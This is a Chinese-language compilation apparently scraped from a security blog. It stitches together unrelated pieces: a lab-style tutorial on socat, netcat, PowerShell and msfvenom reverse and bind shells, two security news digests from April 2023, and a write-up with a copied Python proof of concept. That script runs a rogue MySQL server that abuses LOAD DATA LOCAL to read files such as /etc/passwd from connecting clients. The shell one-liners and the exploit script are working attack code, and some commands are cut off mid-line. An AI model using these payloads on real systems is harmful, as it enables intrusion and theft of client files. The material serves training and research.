第一个侦听器可以连接到任何有效负载;但是,这个特殊的侦听器必须使用非常具体的 socat 命令来激活。这意味着目标必须安装 socat。然而大多数机器默认情况下没有安装 socat,但我们可以上传https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true 二进制文件到目标上,然后就可以正常执行。特殊命令如下:
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
以上命令稍显复杂,所以让我们分解一下。 第一个部分很简单——我们要连接到我们自己机器上运行的侦听器。命令的第二部分使用 EXEC:"bash -li" 创建一个交互式 bash 会话。我们还传递参数:pty、stderr、sigint、setsid 和 sane:
pty 在目标上分配一个伪终端——稳定过程的一部分
stderr 确保任何错误消息都显示在 shell 中(通常是非交互式 shell 的问题)
sigint 将任何 Ctrl + C 命令传递到子进程中,允许我们在 shell 中终止命令
setsid 在新会话中创建进程
sane 稳定终端,试图 “正常化” 它。
要接受的内容很多,所以让我们看看它的实际应用。
与往常一样,在左侧我们有一个在本地攻击机器上运行的侦听器,在右侧我们有一个受感染目标的模拟,使用非交互式 shell 运行。
使用非交互式 netcat shell,我们执行特殊的 socat 命令,并在左侧的 socat 侦听器上接收到一个完全交互式的 bash shell:
请注意,socat shell 是完全交互式的,允许我们使用交互式命令,例如 SSH。然后可以通过设置 stty 值来进一步改进,如上一个任务中所示,这将让我们使用 Vim 或 Nano 等文本编辑器。 如果在任何时候 socat shell 无法正常工作,那么通过在命令中添加 -d -d 来增加详细程度是非常值得的。这对于实验目的非常有用,但对于一般用途通常不是必需的。
回答以下问题:
我们如何让 socat 监听 TCP 端口 8080?
2.7 加密的 Socat Shells
socat 的众多优点之一是它能够创建加密的 shell —— 反向和正向 shell 都可加密。我们为什么要这样做?除非您拥有解密密钥,否则无法监视加密的 shell,因此通常能够绕过 IDS。
我们在上一个任务中介绍了如何创建基本的 shell,因此这里不再介绍语法。一句话足以说明如何使用加密shell:将原命令中的 TCP 部分换成 OPENSSL 即可。我们将在任务结束时介绍几个示例,但首先让我们谈谈证书。
我们首先需要生成证书才能使用加密的 shell。这在我们的攻击机器上最容易做到:
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
此命令创建一个 2048 位 RSA 密钥和匹配的证书文件,自签名,有效期不到一年。当您运行此命令时,它会要求您填写有关证书的信息。这可以留空,或随机填充。 然后我们需要将两个创建的文件合并到一个 .pem 文件中:
cat shell.key shell.crt > shell.pem
现在,当我们设置我们的反向 shell 侦听器时,我们使用:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0
这将使用我们生成的证书设置一个 OPENSSL 侦听器。 verify=0 告诉连接不要费心尝试验证我们的证书是否已由公认的权威机构正确签名。请注意,必须在正在侦听的任何设备上使用该证书。
要返回连接,我们将使用:
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
相同的技术适用于 bind shell: 目标:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
攻击者:
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0
再次注意,即使对于 Windows 目标,证书也必须与侦听器一起使用,因此需要为 bind shell 复制 PEM 文件。 下图显示了来自 Linux 目标的 OPENSSL 反向 shell。和往常一样,目标在右边,攻击者在左边:
这种技术也适用于上一个任务中介绍的特殊的、仅限 Linux 的 TTY shell —— 弄清楚它的语法将是这个任务的挑战。如果您正在努力获得答案,请随意使用 Linux 练习盒(可部署在房间的尽头)进行实验。
回答以下问题:
使用上一个任务中的 tty 技术设置 OPENSSL-LISTENER 的语法是什么?使用端口 53 和一个名为“encrypt.pem”的 PEM 文件
socat OPENSSL-LISTEN:<53>,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
如果您的 IP 是 10.10.10.5,您将使用什么语法连接回此侦听器?
socat OPENSSL:10.10.10.5:53 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
2.8 常用的 Shell Payloads
有效负载表示 payload 的意思
我们很快就会考虑使用 msfvenom 生成有效负载,但在此之前,让我们使用我们已经介绍过的工具看一下一些常见的有效负载。
之前的任务提到我们将研究使用 netcat 作为 bind shell 侦听器的一些方法,因此我们将从它开始。在某些版本的 netcat 中(包括 Kali 位于 /usr/share/windows-resources/binaries 处的 nc.exe Windows 版本,以及 Kali 自身所用的版本:netcat-traditional)有一个 -e 选项,它允许您在连接上执行一个程序。例如一个监听器:nc -lvnp <端口> -e /bin/bash
使用 netcat 连接到上述侦听器将在目标上生成一个 bind shell。 同样,对于反向 shell,使用 nc <LOCAL-IP> <PORT> -e /bin/bash 回连将导致目标上的反向 shell。
然而,这并没有包含在大多数版本的 netcat 中,因为它被广泛认为是非常不安全的(这很有趣,是吧?)。在几乎总是需要静态二进制文件的 Windows 上,此技术将非常有效。然而,在 Linux 上,我们将改为用此代码创建一个 bind shell 侦听器:
mkfifo /tmp/f; nc -lvnp <端口> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm/tmp/f
以下段落是对该命令的技术解释。它略高于这个房间的高度,所以如果你现在看不懂也没关系——命令本身才是最重要的。 该命令首先在 /tmp/f 中创建https://www.linuxjournal.com/article/2156。然后它启动一个 netcat 侦听器,并将侦听器的输入连接到命名管道的输出。 netcat 侦听器的输出(即我们发送的命令)然后直接通过管道传输到 sh,将 stderr 输出流发送到 stdout,并将 stdout 本身发送到命名管道的输入,从而完成循环。
可以使用一个非常相似的命令来发送 netcat 反向 shell:
mkfifo /tmp/f; nc <本地IP> <端口> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm/tmp/f
除了使用 netcat connect 语法而不是 netcat listen 语法之外,此命令实际上与前一个命令相同。
以现代 Windows Server 为目标时,通常需要 Powershell 反向 shell,因此我们将在此处介绍标准的单行 PSH 反向 shell。 这个命令比较复杂,这里为了简单起见就不直接说明了。然而,它是一种非常有用的单行线,可以随身携带:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $
为了使用它,我们需要用适当的 IP 和端口选择替换“<IP>”和“<port>”。然后可以将其复制到 cmd.exe shell(或在 Windows 服务器上执行命令的另一种方法,例如 webshell)并执行,从而产生反向 shell:
对于其他常见的反向 shell payload,https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md 是一个存储库,其中包含多种不同语言的 shell 代码(通常是用于复制和粘贴的单行格式)。阅读链接页面以查看可用内容非常值得。 回答以下问题:
在 Linux 中可以使用什么命令来创建命名管道?
查看链接的 Payloads all Things Reverse Shell Cheatsheet 并熟悉可用的语言。
2.9 msfvenom
Msfvenom:所有和 payload 相关事物的一站式商店
作为 Metasploit 框架的一部分,msfvenom 主要用于生成反向 shell 和正向 shell。同时 msfvenom 也广泛用于低水平的 exploit 开发,比如在开发一些用于缓冲区溢出的 expolit 时生成十六进制 shellcode。 然而,msfvenom 也可以用于 生成多种格式的 payloads,比如 .exe、.apsx、.war、.py 等。
以下简单地介绍一下 msfvenom:
msfvenom 的标准语法如下:msfvenom -p <PAYLOAD> <OPTIONS>
例如,为了生成一个 exe 格式的 Windows x64 反向 shell,我们可以使用:msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
上述命令的四个选项含义如下:
-f <格式>指定输出格式,在案例中是 exe
-o <文件> 生成的 payload 的路径和文件名
LHOST=<IP>指定要回连的 IP
LPORT=<port>要回连的本地机器的端口,可以是 0 到 65535 间的未使用的任意值。然而,使用小于 1024 的端口时要 root 权限
++Staged vs Stageless++
现在介绍两个新概念, staged 反向 shell payloads 和 stageless 反向 shell payloads。
Staged(分期的) paylodas 分为两部分发送。第一部分称为 stager。这是直接在服务器上执行的代码块,其会回连到一个处于等待状态的监听器,但它本身实际上不包含任意的反向 shell code。那 shell code在哪里呢?当 stager 连接到监听器时,其会使用连接来加载真正的 payload 并直接执行它,同时会预防 payload 接触硬盘,因为传统的反病毒解决方案可能会捕捉到硬盘里的 payload。 所以 payload 被分为两个部分:一个小的、初始的 stager 以及 stager 被激活时下载的更庞大的反向 shell。 Staged paylodas 要
Stageless payloads 更加常见。Stageless payloads 是完全自包含的。Stagsless payloads 存在一个代码块,当我们执行它时,其会马上发回一个 shell 给等待中的监听器。
Stagsless payloads通常更易于使用和捕获。然而,它们也更加庞大并且更容易被反病毒或入侵检测程序发现和移除。Staged paylodas 更难以使用,但是 初始的 stager 更加短小,所以有时不会被低效的反病毒软件察觉。现代防病毒解决方案还将利用反恶意软件扫描接口 (AMSI) 来检测由 stager 加载到内存中的 payloads,从而使分阶段的 payloads 在该区域的效率不如以前。
++Meterpreter++在 Metasploit 主题中要谈论的另一个重要的事物就是 Meterpreter shell。Meterpreter shell 是 Metasploit 特有的全功能 shell。Meterpreter shell 完全稳定,这在渗透 windows 目标时非常有用。此外,Meterpreter shell 有许多内置的功能,比如文件上传和下载。如果我们想要使用 Metasploit post-exploitation 模块下的任意工具,那么我们就需要使用一个 meterpreter shell。meterpreter shell 的缺点是它们必须被 Met
linux/86/shell/reverse_tcp
以上命令会生成一个用于 linux x86 目标的 stageless 反向 shell。但是以上命名约定对于 Windows32 操作系统的目标不太适用,对于这类目标,通常不指定体系结构。比如:
windows/shell_reverse_tcp
对于 64 比特的 Windows 目标,通常指定体系结构为 x64。 以上的例子中所用的 payload 是 shell_reverse_tcp,这表明其是一个 stageless payload。为什么呢?因为 Stageless payloads 用 下划线表示。这个 payload 的 staged 版本是 shell/reverse_tcp,因为 staged payloads 用斜线来表示。
一个 32 位的 linux stageless Meterpreter payload 如下所示:
linux/x86/meterpreter_reverse_tcp
当我们在使用 msfvenom 时,要注意到的另一件重要的事情是:
msfvenom --list payloads
该命令可用于列出所有可用 payloads,我们可在该命令后拼接上管道符以及 grep 命令来查找特定 payloads 集合。举个例子:
以上命令会给出 32 位 linux 目标的 neterpreter paylodas 的完整集合。 回答以下问题:
生成一个用于 64 位 Windows 目标的 staged 反向 shell(.exe 格式)
哪个符号被用来表明一个 shell 是 stageless 的?
使用什么命令生成一个用于 64 位的 Linux 目标的 staged meterpreter 反向 shell?假定你的 ip 是 10.10.10.5,监听的端口是 443,shell 的格式是 elf,输出的文件名是 shell
msfvenom -p linux/x64/meterpreter/reverse_tcp -LHOST=10.10.10.5 -LPORT=443 -f elf -o shell
网络安全日报 2023年04月07日
1、谷歌TAG发现APT43分支组织ARCHIPELAGO
https://thehackernews.com/2023/04/google-tag-warns-of-north-korean-linked.html 谷歌威胁分析小组 (TAG)正在跟踪ARCHIPELAGO组织,并认为其为是朝鲜政府支持的威胁行为体,与针对韩国和美国的政府和军事人员、智库、政策制定者、学者和研究人员的攻击有关,是APT43的另一个分支组织。ARCHIPELAGO安装的攻击链涉及使用包含恶意链接的网络钓鱼电子邮件,当收件人单击这些链接时,链接会重定向到旨在获取凭据的虚假登录页面。
2、Sysdig详细介绍利用Log4j漏洞的代理劫持攻击
Sysdig公司在4月4日发布报告,描述了网络犯罪分子如何利用Log4j漏洞获取IP地址,并将带宽转售给代理软件服务提供商,从而允许某人隐藏其物理位置,这些攻击被称为代理劫持。
https://securityboulevard.com/2023/04/sysdig-details-proxyjacking-attack-leveraging-log4j-vulnerability/ 3、谷歌宣布新的Android应用程序数据删除政策
谷歌宣布了一项新的Google Play商店数据删除政策,该政策要求Android开发者为用户提供在线选项,以删除他们的帐户和应用内数据。新的Play商店规则将于明年全面生效,首先要求开发者在12月7日之前分享有关其数据删除做法的更多详细信息。用户将能够在应用程序的商品详情中看到新的数据删除区域以及数据安全部分中刷新的数据删除标志。
https://www.bleepingcomputer.com/news/google/google-will-require-android-apps-to-let-you-delete-your-account/ 4、印度选择不对人工智能进行监管
https://techcrunch.com/2023/04/05/india-opts-against-ai-regulation/ 印度不打算规范人工智能在南亚市场的发展,将该行业确定为国家的“重要战略”领域。印度电子和信息技术部周三在一份长篇书面回应中表示,已经评估了与人工智能相关的伦理问题以及偏见和歧视的风险。它正在实施必要的政策和基础设施措施,以在该国培育强大的人工智能行业,但不打算出台立法来规范其增长。该部断言,人工智能的扩张将对印度的创业和商业发展产生“动力效应”。
5、Money Message 勒索软件团伙声称已经入侵了 IT 巨头 MSI
https://securityaffairs.com/144519/cyber-crime/money-message-claims-msi-hack.html 勒索软件团伙 Money Message 宣布已入侵位于台湾地区的IT 公司 MSI(微星国际)。勒索软件团伙将该公司添加到其 Tor 泄漏网站的受害者名单中,声称窃取了该公司的源代码,包括开发 bios 的框架和私钥。
6、OCR Labs 泄露敏感凭证信息,危及银行客户
https://securityaffairs.com/144514/data-breach/ocr-labs-data-leak.html OCR Labs 向银行和政府机构提供的数字识别工具泄露了敏感凭证,使客户面临严重风险。总部位于伦敦的 OCR Labs 是数字身份验证工具的主要供应商。它的服务被包括宝马、沃达丰、澳大利亚政府、西太平洋银行、澳新银行、汇丰银行和维珍金融在内的公司和金融机构使用。
7、小偷使用 CAN 注入黑客技术窃取汽车
https://www.securityweek.com/thieves-use-can-injection-hack-to-steal-cars/ 一个看似无辜的便携式扬声器可以隐藏一个黑客设备,该设备可以发起 CAN 注入攻击,这种攻击已被用于窃取汽车。
8、思科修补了多个产品中的代码和命令执行漏洞
https://www.securityweek.com/cisco-patches-code-and-command-execution-vulnerabilities-in-several-products/ 思科本周宣布了针对其产品组合中多个漏洞的补丁,包括影响其安全网络分析和身份服务引擎 (ISE) 产品的高严重性问题。
9、CNNVD发布漏洞奖励计划
https://mp.weixin.qq.com/s/lefKrBEfwdD1j3bNmxwV8w “CNNVD漏洞奖励计划”面向对象是为CNNVD报送漏洞的企业、团队以及个人,奖励其报送的高质量漏洞。本计划以精神表彰与物质奖励相结合的方式,鼓励引导安全研究人员积极有序提交漏洞,共同提升我国网络安全漏洞预警及风险消控能力水平。
10、日语文字处理软件Ichitaro中的漏洞可导致任意代码执行和其他问题
https://blog.talosintelligence.com/vuln-spotlight-justsystems-ichitaro Ichitaro 是日本流行的文字处理软件,由 JustSystems 生产,Cisco Talos 最近在 Ichitaro 中发现了四个漏洞,,可能导致任意代码执行。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Mysql LOAD DATA读取客户端任意文件
前言
MySQL 客户端和服务端通信过程中是通过对话的形式来实现的,客户端发送一个操作请求,然后服务端根据客户端发送的请求来响应客户端,在这个过程中客户端如果一个操作需要两步才能完成,那么当它发送完第一个请求过后并不会存储这个请求,而是直接丢弃,所以第二步就是根据服务端的响应来继续进行,这里服务端就可以欺骗客户端做一些事情。
但是一般的通信都是客户端发送一个 MySQL 语句然后服务器端根据这条语句查询后返回结果,也没什么可以利用的。但是 MySQL 有个语法 https://dev.mysql.com/doc/refman/8.0/en/load-data.html 可以用来读取一个文件的内容并插入到表中。
从上图的官方文档说明可以看到,该命令既可以读取服务端的文件,也可以读取客户端的文件,这取决于 LOCAL modifier 是否给定。
读取服务端上的文件内容存入表中的 SQL 语句是:
load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
读取客户端上的文件内容存入表中的 SQL 语句是:
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
两相对比,读取客户端上的文件内容多了一个 local 关键字。
以上所描述的过程可以形象地用两个人的对话来表示:
客户端:把我本地 /data/test.csv 的内容插入到 TestTable 表中去
服务端:请把你本地 /data/test.csv 的内容发送给我
客户端:好的,这是我本地 /data/test.cvs 的内容
服务端:成功/失败
正常情况下这个流程没有问题,但是前文提到了客户端在第二次并不知道它自己前面发送了什么给服务器,所以客户端第二次要发送什么文件完全取决于服务端,如果这个服务端不正常,就有可能发生如下对话:
客户端:请把我本地 /data/test.csv 的内容插入到 TestTable 表中去
服务器:请把你本地 /etc/passwd 的内容发送给我
客户端:好的,这是我本地 /etc/passwd 的内容
服务端:成功偷取文件内容
这样服务端就非法拿到了 /etc/passwd 的文件内容!接下来开始进行这个实验,做一个恶意服务端来欺骗客户端。为了编写出伪造恶意 MySQL 服务器的 POC,必须对 MySQL 协议有足够的了解,所以接下来尝试分析一下 MySQL 协议的数据包。
MySQL 协议数据包分析
为了非法读取客户端文件,我们需要实现一个假的 MySQL 服务器。那如何实现呢?这需要我们对 MySQL 协议展开详细的分析才能做到,好在借助 Wireshark 结合 MySQL 官方文档可以帮助我们轻松分析 MySQL 协议的数据包。
我以 ubuntu 虚拟机为客户端,windows物理机为服务端,借助 Wireshark 工具捕捉两者间的 mysql 通信数据包。
客户端ip:192.168.239.129
服务端ip:192.168.1.3
客户端和服务端之间交互的 MySQL命令如下
mysql -h 192.168.1.3 -P 3306 -u root -p
use security;
load data local infile "/etc/passwd" into table users;
开启物理机的 mysql,这里注意需要设置 mysql 允许外来连接,不知道如何操作看看这篇文章
https://blog.csdn.net/qq_18948359/article/details/1025005902.打开 wireshark,选择捕获 Vmware 相关的网卡并选择过滤 MySQL 协议,然后用虚拟机连接。
注意:不要使用 mysql 8.0.12 版本,否则相关的数据包显示不完整,甚至连接的用户名都显示不了,这个版本的加密可能更严格吧。
官方文档告诉我们 MySQL 协议也支持通过 TLS 进行加密和身份验证。https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_tls.html
那我们捕获的数据包是否进行了加密呢?稍加分析一下这些捕获的数据包就可以判断其确实使用了 TLS 进行了加密。接下来我们根据文档结合 Wireshark 捕获的数据包来进行实践论证!
连接过程数据包
运行连接命令时捕获到的数据包
mysql -h 192.168.1.3 -P 3306 -u root -p
不打算全部都细说,就以前两个数据包为例子,和官方文档对照来学习其结构。
第一个数据包 Protocol::HandshakeV10 服务端到客户端
当客户端通过 MySQL 协议连接到 服务端会发生什么呢?官方文档 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase_packets_protocol_handshake.html告诉我们当客户端连接到服务端时,服务端会发送一个初始的握手数据包(Initial Handshake Packet)给客户端。根据服务端的版本和配置选项,服务端会发送不同的初始数据包。
为了服务端可以支持新的协议,Initial Handshake Packet 初始的握手数据包的第一个字节被定义为协议的版本号。从 MySQL 3.21.0 版本开始,发送的是 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase_packets_protocol_handshake_v10.html
我采用的 MySQL 版本是 5.7.26,所以发送的就是 Protocol::HandShakeV10 ,我们可以看看文档是如何定义这个数据包的结构的:
关于 Type 字段各个值的含义在 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_dt_integers.html#a_protocol_type_int1 和 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_dt_strings.html#sect_protocol_basic_dt_string_null
int<1> 就是 一个字节,string<NUL> 表示以 00 字节结尾的字符串。
我们点开 Wireshark 中服务端给客户端发送的初始数据包,从 Server Greeting 字段开始就是 payload 部分,也就是初始的握手数据包。从图中我们可以看到有协议版本、服务端的 MySQL 版本、进程 ID。这和我们上图的文档是不是完美对应上了?
Protocol::HandShakeV10 只定义了一个数据包的 payload 部分,而关于头部的定义在 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_packets.html
和实际的数据包的对应:
payload_length:
sequence_id:
payload:
值得注意的是 Wireshark 的数据是按照小端排列的,比如数据包长度 74 对应的字段数据是 4a 00 00。
其余的字段就不再分析了,大同小异。紧接着简单看看客户端给服务端的回应吧。官方文档告诉我们,如果客户端支持 SSL(https://dev.mysql.com/doc/dev/mysql-server/latest/group__group__cs__capabilities__flags.html & CLIENT_SSL is on and the https://dev.mysql.com/doc/dev/mysql-server/latest/mysql_8h.html#ae246c1906ffb10491c3876ce39bb1d7b of the client is not SSL_
如果不支持,那么客户端会返回 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase_packets_protocol_handshake_response.html 。同时在任何时候,发生任何错误,客户端都会断开连接。
第二个数据包 Protocol::HandshakeResponse41 客户端到服务端
根据前面的分析,这里客户端如果支持 SSL,那么会发送 Protocol::SSLRequest 数据包,否则就是Protocol::HandshakeResponse:。根据我的验证,应该发送的是 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase_packets_protocol_handshake_response.html#sect_protocol_connection_phase_packets_protocol_handshake_response41
感觉挺奇怪的,我觉得应该发送 SSLRequest 才是,但是其包结构却又对应不上。
client_flag(4字节),包括了扩展的 Client capabilities
max_packet_size(4字节)
0x01000000 = 16777216
character_set(1字节)
filler(23字节)
username(以 00 结尾的字符串)
auth_response
文档中说这是一个条件选项,当前的数据包是满足这个条件的。
根据文档对这个字段的释义,其是一个不透明的验证响应。没想到在实际数据包中是一个密码,经过了某个哈希算法。我没有去求证 MySQL 采用什么哈希算法,
接下来就不继续分析,大同小异。
这个数据包的重点在于能够表明客户端是否支持 LOAD DATA LOCAL,这是我们可以读取客户端本地文件的根本。关于这个字段的定义在:https://dev.mysql.com/doc/dev/mysql-server/latest/group__group__cs__capabilities__flags.html#ga06acc4847890b7ef14a8e7c0782a679c
第三个数据包 Ok_Packet 服务端到客户端
这个数据包一看就是 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_ok_packet.html
第四个数据包 COM_QUERY 客户端到服务端
这个数据包是
第五个数据包 Text Resultset 服务端到客户端
这个数据包是 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query_response_text_resultset.html
选择 security 数据库捕获的数据包
当客户端向服务端发送 use security 命令选择数据库时捕获到的数据包。特别多,下图并没有截完整。这一步不重要
读取客户端文件捕获的数据包
在客户端上执行如下命令将 /etc/passwd 文件内容写入到 users 表时捕获到的数据包。
load data local infile "/etc/passwd" into table users;
一共就四个包,很明显第一个包是一个 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query.html
这个图我不小心去读服务端的文件了,但是无伤大雅。数据包结构是一样的,而且下图我重抓啦~
糟糕的是第三个数据包由于我的物理机拒绝了访问而导致这个数据包是一个错误响应数据包。
我在这里找到了解决方案
https://stackoverflow.com/questions/63361962/error-2068-hy000-load-data-local-infile-file-request-rejected-due-to-restrict连接的时候用
mysql --local-infile=1 -u root -p -h 192.168.1.3
重新抓一遍包!!
第一个数据包 客户端到服务端 COM_QUERY
第二个数据包 服务端到客户端 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query_response_local_infile_request.html
这个数据包很重要,是构造恶意 MySQL 服务器的重点,我们需要根据这个数据包的结构书写 payload。具体地说,需要伪造的部分是 MySQL 数据包的首部和 payload 部分。还记得前面的 MySQL 数据包的结构图吗?
对照一下上图就会发现这个 MySQL 协议数据包的头部是
0c 00 00 01
对应的 payload(不是 wireshark 的那个 Payload) 是
fb 2f 65 74 63 2f 70 61 73 73 77 64
第三个数据包 客户端到服务端 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query.html
上一个数据包服务端给客户端发送LOAL INFILE Request 的响应后,客户端发给服务端的这一个数据就包含了 /etc/passwd 文件的内容。
第四个数据包 服务端到客户端 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_ok_packet.html
客户端经过两个请求,成功的将自己的 /etc/passwd 文件插入到表 users 中,
根据我们前面所说,客户端在发送完第一个请求之后并不会存储这个请求,而是直接丢弃。所以第二步是根据服务端的响应来进行,这里服务器就可以欺骗客户端做一些事情(改变第二个数据包的响应内容)。有了以上的铺垫,POC 的编写并不困难。只需要完成连接过程,然后修改第二个数据包的响应内容就好。
POC
我懒得完整编写 POC 了,所以从网上抄了一个。值得一提的是这个 POC 并不标准,在连接建立过程中发送的数据并没有包含数据包首部,而发送 payload 的时候又包含了首部。(同时从编写的代码来看好像编写者并没有对数据包的构成有一个准确的认识 hhh,当然也有可能是我错了)
客户端发送请求数据包
服务端发送 Mysql 的 Greet 与 banner 信息
客户端发送认证请求(用户名与密码)
这里面我们当然要保证无论输入什么密码都是可以的
获取到文件信息直接输出
#!/usr/bin/python
#coding: utf8
import socket
# linux :
#filestring = "/etc/passwd"
# windows:
#filestring = "C:\Windows\system32\drivers\etc\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024
#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
#数据包长度
payloadlen = "\x0c" #这里明显有问题啦,因为文档告诉我们数据包的长度是用三个字节表示的
padding = "\x00\x00"
payload = payloadlen + padding + "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" #这里又把序列号拼在了 数据包的 payload部分
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()
在服务器运行以上脚本,并在客户端连接
收到 /etc/passwd 文件内容
读取 /flag
如果想要读取 /flag 如何修改 payload 呢?这是一个很简单的问题,因为已知了这是一个 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query_response_local_infile_request.html 数据包,所以只需要构造一下数据包首部和 payload 部分即可(保持 POC 中其余字段不变)。
首部包括三个字节长的长度字段,一个字节长的序列号。
payload 部分是一个字节长的包类型 0xFB 和 xx 字节长的文件名
现在真正的数据部分是/flag,转换成十六进制为 2f666c6167,其拼接上一个字节的包类型 0xFB 就凑成了 payload 部分:fb 2f 66 6c 61 67 ,故首部中的长度字段值为 0x06。
网络安全日报 2023年04月06日
1、安全人员发现分发Opcjacker恶意软件的攻击活动
https://www.hackread.com/vpn-malvertising-opcjacker-crypto-stealer/ 趋势科技网络安全研究人员发现了一项针对伊朗用户并分发Opcjacker恶意软件的攻击活动。在新分析的样本中,恶意广告隐藏在一个真正的VPN应用程序中。恶意软件通过在已安装的程序中修补合法的DLL库来自动加载,该库最终运行包含另一个恶意应用程序的加载程序和运行程序的shellcode,由存储在WAV、CHM和其他格式文件中的数据块组装而成的。
2、攻击者利用自解压档案进行隐蔽的后门攻击
https://www.bleepingcomputer.com/news/security/winrar-sfx-archives-can-run-powershell-without-being-detected/ 攻击者正在向包含无害诱饵文件的WinRAR自解压存档添加恶意功能,从而允许他们在不触发受害者系统上的安全软件的情况下植入后门。研究人员声称恶意SFX文件不太可能被传统AV解决方案捕获。
3、黑客组织Arid Viper升级恶意软件
https://thehackernews.com/2023/04/arid-viper-hacking-group-using-upgraded.html 自2022 年 9 月以来,名为Arid Viper(又称APT-C-23 和沙漠猎鹰)的威胁行为体,在针对巴勒斯坦实体的攻击中使用其恶意软件工具包的更新变种。该组织自制了一系列恶意软件工具,例如ViperRat、FrozenCell和Micropsia,以在 Windows、Android 和 iOS 平台上执行和隐藏其活动。赛门铁克详述了最新攻击需要使用自制Micropsia和Arid Gopher植入程序的更新版本来破坏目标,进行
4、研究人员发现报税软件eFile.com存在恶意软件
https://www.bleepingcomputer.com/news/security/irs-authorized-efilecom-tax-return-software-caught-serving-js-malware/ eFile.com是IRS授权的电子文件软件服务提供商,许多人使用它提交纳税申报单。安全研究人员表示,该恶意JavaScript软件已在eFile.com网站上存在数周之久,至少在 4 月 1 日之前,eFile.com上几乎每个页面都在加载恶意JavaScript文件“popper.js”。但此次攻击是否成功感染了eFile.com 访问者和客户,仍有待
5、Elementor Pro 插件漏洞影响超过 1100 万个站点
https://cyware.com/news/exploited-elementor-pro-plugin-under-attack-affects-over-11-million-sites-7fa2b825 适用于 WordPress 的 Elementor Pro 网站构建器插件中的一个安全漏洞正被威胁行为者积极利用。经过身份验证的用户可以利用这一点来完全控制启用了 WooCommerce 的 WordPress 网站。
6、Google发布Chrome 112,修复了 16 个安全漏洞
https://www.securityweek.com/chrome-112-patches-16-security-flaws/ Chrome 112 于本周发布到稳定频道,其中包含 16 个安全修复程序
7、Nexx 智能设备漏洞可被利用来远程打开车库门,并控制警报和插头。
https://securityaffairs.com/144488/iot/nexx-smart-devices-flaws.html 2022 年底,研究人员 Sam Sabetan 在 Nexx 制造的几款智能设备中发现了一系列严重漏洞,包括智能车库门开启器、警报器和插头。远程攻击者可以利用这些漏洞打开和关闭车库门、控制警报以及为任何客户打开和关闭智能插头。
8、FBI查封了 Genesis Market 网络黑市
https://securityaffairs.com/144449/cyber-crime/fbi-seized-genesis-market.html 作为 Cookie Monster 行动的一部分,FBI查封了 Genesis Market 黑市,这是一个专注于出售被盗凭证的平台。
9、新勒索软件Rorschach具备最快的文件加密器
